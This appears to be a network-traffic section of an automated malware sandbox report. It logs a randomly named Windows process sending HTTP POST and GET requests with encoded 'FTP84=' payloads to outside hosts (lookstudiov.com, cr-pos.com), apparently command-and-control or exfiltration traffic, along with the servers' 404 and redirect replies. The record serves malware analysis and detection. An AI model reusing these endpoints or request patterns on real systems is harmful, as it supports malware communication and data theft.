Jul 1, 2024 19:25:20.869074106 CEST	1236	IN	Data Raw: ba f0 7c 44 cb 4a 38 73 fe 3b 8c de 8b e8 ff 2d c2 b1 bf 78 33 09 d7 e2 e5 cb 58 2c 66 58 7e 31 df 57 93 d2 2a 5f 92 3c ff 30 9b 41 51 0b b1 fa 9a 27 68 bd d7 e9 34 bd a3 4e 63 18 b4 50 0c 05 f1 cd 02 e6 c3 2a a9 d7 e4 0c ae 35 9a fe 28 a2 69 f8 Data Ascii: \|DJ8s;-x3X,fX~1W_<0AQ'h4NcP5(i5-6s_wpT[TS,Xp]kjNu7WOgB}C*6J~S@O#8h2Dk;EOkXM)&}esA{#um\
Jul 1, 2024 19:25:20.869086981 CEST	1236	IN	Data Raw: 52 f0 23 12 06 6e 51 f7 7a 47 53 71 d9 8c 2e c7 7e 7d d0 f4 fa c7 cd 6e f7 b8 e9 35 9c ce e7 54 58 f7 8e 8e 9a 27 1e 0a fb 0d c7 eb 74 3e 6f e4 fa a4 01 b9 98 44 36 87 33 dc 26 1b ab f1 d7 bd 6e 17 78 60 fa 9f 74 52 f4 9d 66 b7 73 d2 f4 7a 28 d9 Data Ascii: R#nQzGSq.~}n5TX't>oD63&nx`tRfsz(#B.h8~;e5*<)7xJloR7O%Z2%P4O:7]'a ~t5h:[?l#A59@u..sAy
Jul 1, 2024 19:25:20.869098902 CEST	1236	IN	Data Raw: 9f d7 68 60 10 6f 64 a0 d9 d0 81 3b a2 6e 69 c4 b2 25 b3 a1 05 e6 83 0d 3b 2d bb 7b 91 95 ae cf 7a ed b7 a6 83 b8 b9 4b bd 09 34 89 cb a6 0c ea d0 23 f7 3a 22 ad 4f bf cf 78 35 77 b1 c2 2f b1 c5 56 4b 67 41 5a a9 11 c4 54 ab 18 5a e9 0a 75 48 1f Data Ascii: h`od;ni%;-{zK4#:"Ox5w/VKgAZTZuHd:epggQ,]Y$F,C%%xv+y0a="Hn#4b)A\\!q{3b9J<9jg>A$$Wqta@#fRNx@/9\}
Jul 1, 2024 19:25:20.869111061 CEST	672	IN	Data Raw: d1 c5 a3 c9 60 42 d7 7c f8 e9 d4 8f de e3 26 d5 16 26 58 35 34 f9 36 0f b8 8a cd 02 bf e7 9f fa 29 0b cc 0a 1a c4 ac 37 eb cf 06 16 1d 26 03 6c 06 31 80 ac ff 36 83 b3 87 dc fd ee 8c fe 2b 02 e6 de 03 e9 a0 97 3e 54 4a 01 3b ec 94 f3 d2 2f c3 bc Data Ascii: `B\|&&X546)7&l16+>TJ;/1{]KG,iX]a}pW[5{HwjbfRVG7YY{Fp(1=tG[pTtJAEfM`O[
Jul 1, 2024 19:25:20.869122982 CEST	1236	IN	Data Raw: 27 8b 40 85 14 74 49 c9 9b db e5 38 44 2e 18 05 d2 6c 28 83 ab ae 39 6d d4 b0 0f cd 9f 1e a8 0c 3d 44 e5 5b bb 0f 6c 48 ce 32 c5 ae 8d 1d d1 1b 77 c6 1d f3 01 74 14 6e 3d ab 58 2a b9 18 47 88 eb 46 06 3d 5a 7f 31 00 1c 77 25 6f ca 73 24 a7 e2 b5 Data Ascii: '@tI8D.l(9m=D[lH2wtn=XGF=Z1w%os$or(=bC~ios.8k#ksyyueX ':Hbl)LM]5\!XwiW<[\|x9IDrqV-P}Q+r*)v}jm=5'`c8
Jul 1, 2024 19:25:20.869134903 CEST	1236	IN	Data Raw: 37 77 70 80 c3 4e 69 3e b6 76 3b 9c e2 c6 3c c0 e4 68 12 d8 3d 1c 2c c1 17 9a dd 29 65 b5 c4 46 7e c7 a6 a6 d8 42 9b 87 d9 7a f7 48 95 51 46 96 8d a4 5c 81 a8 76 db 6d fd bc ae e7 fe 6c 33 f3 73 56 8c 89 64 4f c3 47 35 99 46 e1 1a 39 68 57 b0 db Data Ascii: 7wpNi>v;<h=,)eF~BzHQF\vml3sVdOG5F9hW//1J6OhyN`LX=?s3=?4/{jFh2v<P{I_\<D-'d1og'tkFbL`G\|\|#~m2LThMhQN
Jul 1, 2024 19:25:20.869148016 CEST	1236	IN	Data Raw: 5a 51 fd 89 09 b5 a2 fa e3 94 eb ff a0 4c 4e be 53 37 de bd e1 c1 af 4e 2f 2d b8 db 7e 73 d4 b8 f2 24 cf 74 d5 5b c9 a4 e9 e2 ea 0b a6 3b 2f 9c 72 e3 f4 2e 94 6a bd 35 ae 57 ee 7e 06 47 57 d7 c5 3d 14 d6 86 92 c8 35 49 20 85 b8 2b f8 95 ee df b2 Data Ascii: ZQLNS7N/-~s$t[;/r.j5W~GW=5I +a=z[shu\|N'0=\eWi,r"[[N}kKh?8C%<7,X=DADL,\|d){T7`G))8"%_R]~'&Zu 2-6
Jul 1, 2024 19:25:20.869163036 CEST	672	IN	Data Raw: 14 00 dd 19 99 51 45 f3 c6 9c 4c 2a d9 8a 86 75 1e e8 4a 33 5c bc 9e f9 08 53 bf 5c e1 45 df b8 88 81 77 9b 43 41 d1 a4 0f ac 29 9f a2 6c 4b 9c 0a 54 56 cc 63 ae c4 43 aa 87 73 e4 22 8e 96 36 f7 b3 fa a4 53 0a 8c 95 aa 66 ef c9 2c 05 19 d4 16 00 Data Ascii: QELuJ3\S\EwCA)lKTVcCs"6Sf,T%UVS9IRmmd<Oc%ge]vBH)%y"WH:m4Yl:i:uP:+gAXP*iKTu>IXw!wFdrM
Jul 1, 2024 19:25:20.873969078 CEST	1236	IN	Data Raw: 39 50 08 18 fb df a3 d0 f9 6a e5 7c 95 15 7e 14 dc 78 96 69 c0 57 ba 8b af b0 34 ed 50 5b d8 e8 3e 88 11 ed 04 26 e9 7b f7 36 dc d4 5e ff 05 c7 29 0e 0b c9 1b 1c 77 91 06 f8 03 dc 32 ce 77 b1 43 cc 12 d3 8f 82 3f 4a df b5 37 0b 68 bd 7d 74 5f ff Data Ascii: 9Pj\|~xiW4P[>&{6^)w2wC?J7h}t_d7c<\{1tru;Ko."l"(.qds\|O=F315@Fl;[4YD$jmTS!?5e2<+435R)bNi<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	64470	74.208.236.162	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:25:22.578505993 CEST	1758	OUT	POST /u4jq/ HTTP/1.1 Host: www.lookstudiov.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1250 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.lookstudiov.com Referer: http://www.lookstudiov.com/u4jq/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 50 42 68 30 2b 66 31 63 2f 79 72 62 65 76 76 34 36 43 5a 77 61 34 52 2f 62 63 41 6c 74 57 6d 59 76 7a 39 63 6d 6d 79 39 74 55 6e 68 32 43 37 42 37 68 39 39 41 59 6d 50 33 69 6a 78 34 72 38 71 6f 2b 79 48 6c 30 67 68 70 2f 4a 4b 2f 61 49 65 39 53 59 6a 76 6a 76 6d 42 46 74 31 33 72 51 68 35 6c 4e 5a 79 38 51 64 66 6b 2b 49 47 71 6a 54 6b 48 37 53 61 2b 4e 35 54 43 65 41 4c 5a 51 39 39 4a 6a 53 55 76 4b 36 6f 69 41 5a 34 30 43 51 66 47 35 35 68 58 6a 68 4d 38 38 4f 54 46 56 75 62 4d 6a 2b 42 35 54 34 62 69 77 52 48 4e 4e 78 6f 64 38 35 45 53 48 30 4c 68 59 4c 69 58 33 71 78 6c 41 48 4d 51 79 73 37 4e 46 59 34 67 31 43 33 63 6f 68 37 78 46 39 6d 6a 49 48 6b 4f 44 4d 70 75 70 33 43 33 42 43 38 69 68 68 69 54 39 45 6d 6e 46 78 48 56 51 48 32 5a 47 70 4f 64 58 4a 61 6d 36 73 45 46 74 72 6c 76 59 32 62 50 48 38 6d 62 52 7a 68 64 79 6a 34 32 79 32 2f 75 4b 69 39 6e 35 4f 65 72 56 4e 66 6b 39 31 65 2b 63 64 4a 44 62 71 54 5a 30 37 76 42 4f 44 4c 63 2b 78 59 6f 6b 59 67 6b 62 76 59 73 63 39 [TRUNCATED] Data Ascii: FTP84=PBh0+f1c/yrbevv46CZwa4R/bcAltWmYvz9cmmy9tUnh2C7B7h99AYmP3ijx4r8qo+yHl0ghp/JK/aIe9SYjvjvmBFt13rQh5lNZy8Qdfk+IGqjTkH7Sa+N5TCeALZQ99JjSUvK6oiAZ40CQfG55hXjhM88OTFVubMj+B5T4biwRHNNxod85ESH0LhYLiX3qxlAHMQys7NFY4g1C3coh7xF9mjIHkODMpup3C3BC8ihhiT9EmnFxHVQH2ZGpOdXJam6sEFtrlvY2bPH8mbRzhdyj42y2/uKi9n5OerVNfk91e+cdJDbqTZ07vBODLc+xYokYgkbvYsc9eyn5jxVup8HP712KMj2zAR1OXi8Ixwh7OUYMVgddjiyTjzY5ftfBNwxsG/IG5+iSvtJZeYB7iyHIx+7hqrgFk0A9Rw6RqG5Amf7t08NBV9qDdg3IFmCtQ8dvvq4atxk0bUPmmHREAOZKrakcaMb9vwXffMKwcw34lLxrBk7S0ppfzs3E8xeGcVmjCLc86SEi69bgkeQ/DPk7uzbmJVW7qi+GbXjl7dYXoeWxZPEKhdznOUMff355FU+MvNSM6dSpqQe07Es6JqyBfZlxSc3zuC64/oYjKva/adpiGhxwfiBhlZGdCiSsjJOAwU9JTW3LkcfCgi1+n6HvJeJcntAYZ/CrDrD8AC/bt+hWQpIfc77buC2P3jG1k25HNvc1TZjsrsaqU6IK6cBNlucyJrQN7ccAXBzIj+oMm9NuUAHOVpyQo/vcyHWH6OoRQBGqz0lXAe1PQSy4n6QyZBrrStFE72wWNwfIpvryhUhdpUiyfP9o9rwXeSrbmvtqm7Qn8U+FjDo5pCJ4pWdNoS2cR6pwyFRO19rEDOUfiihznM8g01LbAtTypYFZjogbVM/A4CkReSlCtgHl8a0Bo11D90Nzs5UZ1zC6LpqrZJVQIYLcumyeivSoWp/j5cXiqwww8l+U7La+cBkF2u+n6CHtiSk4+mLj+BNwLKVNqC [TRUNCATED]
Jul 1, 2024 19:25:23.369860888 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Date: Mon, 01 Jul 2024 17:25:23 GMT Server: Apache X-Powered-By: PHP/8.2.20 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://lookstudiov.com/wp-json/>; rel="https://api.w.org/" Content-Encoding: gzip Data Raw: 33 30 34 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 7d 7d 77 db 36 b2 f7 df cd a7 60 94 d3 44 da 8a 92 28 c9 b2 2d 5b e9 ed 76 db e7 f6 39 dd 6d 4f d3 de bb 7b 37 7b 7c 28 09 b2 98 48 a2 96 a4 fc b2 5e 7f f7 fb 9b 01 40 02 7c d1 8b ed 74 93 bb 4d 6b 5b 02 81 99 c1 60 30 18 60 06 c3 67 e7 cf ff f0 c3 d7 3f ff e5 c7 6f 9c 79 b2 5c bc 7e 76 4e 7f 9c 85 bf ba 1c d5 c4 ca fd e5 4d cd 99 fa 89 ef c6 fe 95 70 27 e1 22 8c dc 78 32 17 4b 31 aa dd 8a 58 3d bc dd bc 0f dc 44 96 2e 82 cb 79 52 23 40 c2 9f be 7e e6 e0 df f9 52 24 be 33 99 fb 51 2c 92 51 ed 97 9f bf 75 4f 50 23 7b b4 f2 09 de 55 20 ae d7 61 94 d4 9c 49 b8 4a c4 0a 55 af 83 69 32 1f 4d c5 55 30 11 2e 7f 69 3a c1 2a 48 02 7f 01 32 fc 85 18 79 ad 8e 05 6a 9e 24 6b 57 fc 7d 13 5c 8d 6a 7f 76 7f f9 ca fd 3a 5c ae fd 24 18 2f 84 01 37 10 23 31 bd 14 ba e5 22 58 bd 77 22 b1 18 d5 d6 51 38 0b a8 ea 3c 12 b3 51 8d a0 0d db ed cb e5 fa b2 15 46 97 ed 9b d9 aa ed 79 68 f6 d9 79 12 24 0b f1 fa 47 ff 52 38 ab 30 71 66 e1 66 35 75 5e be 38 e9 7a de 99 f3 7d 18 [TRUNCATED] Data Ascii: 3041}}w6`D(-[v9mO{7{\|(H^@\|tMk[`0`g?oy\~vNMp'"x2K1X=D.yR#@~R$3Q,QuOP#{U aIJUi2MU0.i:H2yj$kW}\jv:\$/7#1"Xw"Q8<QFyhy$GR80qff5u^8z}w$i:uuI>pg_E8LWiW_-7X_q=\x@h' 1]kz&ajGqrGDfo3[!.@o^&=Oc2AK<uuX7"Ie/6ooqFmmOHmsmi7Z&noW_]>24F'njsers}vd?(V.dVejh:jyI&KN=mVz\5qSrgR$g.i,$f,_vfY,$anaZqam=i4u DkF?IR4;M\|WW>TDu.H4P^/~PT4s%X%WQE4>[h
Jul 1, 2024 19:25:23.369887114 CEST	1236	IN	Data Raw: a6 69 c5 34 35 9f 8a 9a c6 59 24 92 4d b4 72 92 96 80 10 dc d6 35 03 89 7d 8d 3b f5 50 8c 46 a3 e8 af c9 df ee 1b 19 83 37 9a c1 f1 75 40 ec 47 ed 09 24 aa 36 5b f8 97 b5 a1 6a b8 42 a5 da db cd f4 a4 37 c1 ef d9 ac f7 76 33 13 9d d9 db 4d b7 d3 Data Ascii: i45Y$Mr5};PF7u@G$6[jB7v3M?%jcZv:Y@TelGqhJ?wGga\|6LV7J"WD]3=XSk>"e>N"vY\|DJ8s;-
Jul 1, 2024 19:25:23.369898081 CEST	1236	IN	Data Raw: af 9c a5 98 06 fe e8 15 a6 80 dc a2 67 03 7e c9 36 93 5b 36 dc e3 70 7a 7b e7 ba 18 6f da e5 63 37 e4 aa 33 15 77 bc 00 6f 86 ce 8b 0e ff 3b 2b ad 33 b9 f5 57 a8 b8 09 e2 b9 7b 89 cd 0b aa fb e3 f1 c9 a4 57 5e fd 7a 1e 24 02 75 66 fc af bc ce 1a Data Ascii: g~6[6pz{oc73wo;+3W{W^z$ufg(Td)YWtEyZ7l]R08tj"OLMht+~<NG$1Vul\:'lDLmN{bLd&Z/y`h4v}R#nQzGSq.~}
Jul 1, 2024 19:25:23.369946957 CEST	1236	IN	Data Raw: 16 7e 0a 2b fb 98 07 95 52 a5 44 45 9e 3a 28 01 91 84 5f fa 90 33 d9 21 4d 3b 57 6e 05 31 d6 f7 5b 88 ba 8b 41 be 6e 38 e0 87 49 b5 f9 f9 4e 8a a0 cd a4 ce d9 6e 78 19 e5 08 86 d0 fd b1 a1 a9 2e ec 84 f5 3b bb 99 39 52 16 75 3b e0 61 b6 c0 69 ed Data Ascii: ~+RDE:(_3!M;Wn1[An8INnx.;9Ru;ai~.f}h yyE/,2+0LuFE<Ze'.uG 8l]j-`R;0O1XCONFI=Ee8SeX>8"2-H;w,h`od;ni%
Jul 1, 2024 19:25:23.369959116 CEST	1236	IN	Data Raw: 74 0e e9 c4 02 be 35 9f 65 d0 bf 16 71 b8 94 d7 98 f6 a6 9e 53 84 c4 6d 92 ea b6 02 15 e1 da df 35 ae 1a cb bb 37 b8 81 3a 0d a3 36 ad 69 0a 01 13 8f f0 58 eb 0a 0e c2 54 5b 5e ff 10 c2 79 22 3d 80 df 26 c5 7c 3b 88 ae 09 49 16 52 ce 85 4c 1c 7a Data Ascii: t5eqSm57:6iXT[^y"=&\|;IRLz-HIL=ar5}qh!#Nebwz*><\MtQI0$PJS%e +G~tvRQe#\|'&`B\|&&X
Jul 1, 2024 19:25:23.369968891 CEST	1236	IN	Data Raw: f2 e6 12 57 ae 9d 41 b7 89 eb d5 74 2a e3 d1 85 64 c8 ba 77 44 bf 60 61 3a 2e 7d d4 01 b7 43 2f bd 4f 95 7e ca 19 a8 a4 a1 8c 1f ad 9e 14 03 9f 68 82 23 50 5f c9 98 1c 8a d8 65 95 5a 10 14 53 80 52 01 d3 4d 68 7d d2 73 d3 9c 25 bb 1b cd 43 78 b3 Data Ascii: WAtdwD`a:.}C/O~h#P_eZSRMh}s%Cx&Z +xEb{^}sS3Z")>DW)P{dcjIO7]eun'Y.MA)e-gY4 4Wx$.:,n
Jul 1, 2024 19:25:23.369982004 CEST	1236	IN	Data Raw: f4 b2 9e a2 07 cb e8 40 75 1b 55 49 ed ca f6 e2 88 3a c8 b0 ba 5d 60 8a 05 f7 01 bd b4 db 57 d3 af 43 8a 4e b3 70 22 19 2c a3 36 47 72 4b 53 22 f9 a6 e7 77 19 ac d2 03 e5 53 ca 10 6a 2f 51 6a a9 56 53 e6 02 b3 e8 02 3b 1d 3e e4 8e 2f e4 ae 54 1f Data Ascii: @uUI:]`WCNp",6GrKS"wSj/QjVS;>/TjjLev8b;45!ooVfH~)A442kTS$-MjtNhomr}Lj7g[jH ['B[26_b:<w
Jul 1, 2024 19:25:23.370024920 CEST	1000	IN	Data Raw: 44 79 53 b5 7f 29 a5 08 e0 bb 0c 27 a1 c9 d2 22 b9 38 4d 86 47 10 11 e5 17 72 04 1f 47 71 21 53 9b ca 25 17 6f 70 6f 79 86 37 85 b4 d3 4f 36 59 94 b9 4d 32 32 ad f0 81 28 41 5c e0 62 11 89 2b e1 2f 48 7a d3 2f 95 f4 18 75 f2 24 91 03 99 13 0d f2 Data Ascii: DyS)'"8MGrGq!S%opoy7O6YM22(A\b+/Hz/u$6q[at\|[f8\Zyiw5Gm\.to7Bj?'\|%gK(^sc$ZjGnH.=*$s}l vMK5l
Jul 1, 2024 19:25:23.370038986 CEST	1236	IN	Data Raw: 99 0a 0f 6f 36 c7 ec d3 f3 58 c9 d9 81 30 e4 e2 a9 35 82 ca ab 65 86 6c d9 62 a3 69 d7 7f a5 5d aa f4 45 29 e1 e5 3c a4 f6 a6 b4 90 b0 24 01 92 76 4a 09 29 85 74 9e 8a 88 c6 ae ff aa e1 d5 5f e9 af 2a 52 02 7e ae 4e 1b 4d 96 23 1b ad ce fd 47 9a Data Ascii: o6X05elbi]E)<$vJ)t_*R~NM#GN7fmvJjY=5Ei!vRvUtO>)q!j\8Q" y:^:(0O%T=c-ks$`RADe/ryi9^j].\|-m\|)n
Jul 1, 2024 19:25:23.370055914 CEST	1236	IN	Data Raw: 2a 05 1e 21 75 d5 06 f3 53 b6 d6 a4 86 08 9a 0a 26 ef 1f 08 72 bd 89 e7 36 3c 78 50 b3 49 48 d4 68 44 44 4e ae 3b 88 91 1a db 88 73 f2 8d 97 6c 28 6e 54 ce 14 5b 55 79 e9 10 8c 37 e3 6c 45 51 9c aa 84 6e 90 9c ce e6 a9 ed 3a d7 72 6d e3 3b 51 e4 Data Ascii: !uS&r6<xPIHhDDN;sl(nT[Uy7lEQn:rm;Q3{l[/9]Nd$]/Vimm&nIn&02d#T#Wf]eTX{2 4^ebC2"[R3?5d8=VhL%&>:#~3u6&
Jul 1, 2024 19:25:23.370503902 CEST	618	IN	Data Raw: 10 ea ed 3a bf 1d bd aa 83 2d b5 72 ff 76 f4 0a 7f ac 95 ed e5 5f 73 f4 6a 44 83 90 4e 91 99 a1 44 04 47 01 92 07 ca 97 9a eb 23 49 c4 24 ce fd c5 4c 07 26 22 b7 0b f2 e4 c8 2c 3a f2 7a b7 ca a0 a3 cc b8 5c ae 07 8e 6c 54 09 62 90 62 c7 43 d3 b1 Data Ascii: :-rv_sjDNDG#I$L&",:z\lTbbC0z7{Y%x_bp[}C;?o#:E~)u8c;1{jMI2STKGER&!lsu#W:G\gv\uiSv'b;^;u+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	64471	74.208.236.162	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:25:25.124460936 CEST	458	OUT	GET /u4jq/?Lb=GFtlIrHx8T50&FTP84=CDJU9pFFzFP5Q+XwrjtzU7ALaZIX7Qr7xG0Tk3i+702mxinN9hpFEu+s7zPr8ql7seaWvhcu7+p+54MBjhZ2jhTmPmJLv4ka4ysGmOJ/DhiKAPXXpWbDV/sLTxWyGr8frfPdUs+6sgZH HTTP/1.1 Host: www.lookstudiov.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Jul 1, 2024 19:25:25.770205021 CEST	527	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Date: Mon, 01 Jul 2024 17:25:25 GMT Server: Apache X-Powered-By: PHP/8.2.20 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://lookstudiov.com/u4jq/?Lb=GFtlIrHx8T50&FTP84=CDJU9pFFzFP5Q+XwrjtzU7ALaZIX7Qr7xG0Tk3i+702mxinN9hpFEu+s7zPr8ql7seaWvhcu7+p+54MBjhZ2jhTmPmJLv4ka4ysGmOJ/DhiKAPXXpWbDV/sLTxWyGr8frfPdUs+6sgZH Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	64472	192.250.231.28	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:25:31.088466883 CEST	710	OUT	POST /b9jt/ HTTP/1.1 Host: www.cr-pos.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 218 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.cr-pos.com Referer: http://www.cr-pos.com/b9jt/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 46 34 59 4b 6e 43 66 74 37 4d 41 46 56 38 45 6d 4f 30 67 7a 52 6d 38 4b 42 59 53 62 38 69 4f 32 34 32 57 6f 75 62 4f 50 76 6a 4c 63 2f 42 52 6c 68 34 5a 36 44 56 43 62 6c 38 79 65 7a 4a 4c 42 65 34 45 68 59 68 78 49 45 31 41 30 33 79 7a 4e 55 66 6b 48 2b 73 2b 36 39 7a 4b 6f 44 51 49 59 75 45 35 4c 6c 37 6a 70 6d 4c 6a 4d 51 35 78 62 49 6c 46 4a 73 38 50 66 58 39 4d 65 64 35 35 72 31 76 68 51 49 6e 31 46 55 79 66 6e 65 65 75 61 42 61 4c 34 62 77 4a 49 50 48 67 78 6a 43 74 65 45 46 52 59 58 67 69 70 53 52 57 37 52 73 58 63 51 68 71 52 69 58 6c 4f 78 57 4f 69 58 44 6d 74 78 55 45 68 71 47 57 4e 47 38 61 76 4f 65 6c 4a 2f 51 3d 3d Data Ascii: FTP84=F4YKnCft7MAFV8EmO0gzRm8KBYSb8iO242WoubOPvjLc/BRlh4Z6DVCbl8yezJLBe4EhYhxIE1A03yzNUfkH+s+69zKoDQIYuE5Ll7jpmLjMQ5xbIlFJs8PfX9Med55r1vhQIn1FUyfneeuaBaL4bwJIPHgxjCteEFRYXgipSRW7RsXcQhqRiXlOxWOiXDmtxUEhqGWNG8avOelJ/Q==
Jul 1, 2024 19:25:31.592351913 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Date: Mon, 01 Jul 2024 17:25:30 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
Jul 1, 2024 19:25:31.592395067 CEST	219	IN	Data Raw: 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 Data Ascii: > <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	64473	192.250.231.28	80	6696	C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 19:25:33.618639946 CEST	730	OUT	POST /b9jt/ HTTP/1.1 Host: www.cr-pos.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 238 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.cr-pos.com Referer: http://www.cr-pos.com/b9jt/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko Data Raw: 46 54 50 38 34 3d 46 34 59 4b 6e 43 66 74 37 4d 41 46 55 63 30 6d 64 6b 63 7a 58 47 38 4a 4f 34 53 62 32 43 4f 79 34 32 53 6f 75 59 44 43 76 52 2f 63 2f 6a 35 6c 7a 74 74 36 45 56 43 62 74 63 79 48 39 70 4c 77 65 34 49 66 59 6b 78 49 45 31 45 30 33 32 37 4e 55 50 59 45 2f 38 2b 34 6f 44 4b 71 65 41 49 59 75 45 35 4c 6c 37 6e 48 6d 4c 4c 4d 54 4a 68 62 4a 48 74 4f 6c 63 4f 74 53 39 4d 65 4b 4a 35 76 31 76 68 79 49 69 64 76 55 33 62 6e 65 66 79 61 41 49 76 2f 43 41 4a 47 51 33 68 55 75 7a 55 70 64 6c 74 42 54 78 53 30 61 43 53 37 51 61 4b 2b 4b 44 6d 39 38 47 64 31 31 55 71 55 41 6c 37 59 7a 56 41 35 6e 6b 69 73 5a 4c 2f 46 44 4d 45 4e 70 67 59 67 47 54 54 63 55 48 49 77 51 56 32 37 44 77 59 35 46 63 6b 3d Data Ascii: FTP84=F4YKnCft7MAFUc0mdkczXG8JO4Sb2COy42SouYDCvR/c/j5lztt6EVCbtcyH9pLwe4IfYkxIE1E0327NUPYE/8+4oDKqeAIYuE5Ll7nHmLLMTJhbJHtOlcOtS9MeKJ5v1vhyIidvU3bnefyaAIv/CAJGQ3hUuzUpdltBTxS0aCS7QaK+KDm98Gd11UqUAl7YzVA5nkisZL/FDMENpgYgGTTcUHIwQV27DwY5Fck=
